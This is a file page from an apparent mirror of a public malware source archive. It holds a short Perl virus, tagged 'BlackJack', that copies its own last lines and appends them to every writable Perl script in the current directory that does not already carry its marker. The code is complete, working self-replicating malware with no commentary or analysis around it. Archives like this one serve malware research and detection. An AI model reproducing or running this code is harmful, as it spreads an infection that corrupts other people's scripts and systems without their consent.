mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-16 03:58:34 +00:00
24 lines
401 B
Plaintext
24 lines
401 B
Plaintext
open(File,$0);
|
|
@Vir=<File>;
|
|
#BlackJack
|
|
@Virus=@Vir[-23...-1];
|
|
close(File);
|
|
foreach $FileName (<*>)
|
|
{
|
|
if ((-r $FileName) && (-w $FileName) && (-f $FileName))
|
|
{
|
|
open(fuck, "$FileName");
|
|
@aFucks=<fuck>;
|
|
close(fuck);
|
|
if ((@aFucks[0] =~ "perl") || (@aFucks[1] =~ "perl"))
|
|
{
|
|
if ( not (@aFucks[-21] =~ "BlackJack"))
|
|
{
|
|
open(fuck, ">>$FileName");
|
|
print fuck @Virus;
|
|
close(fuck);
|
|
}
|
|
}
|
|
}
|
|
}
|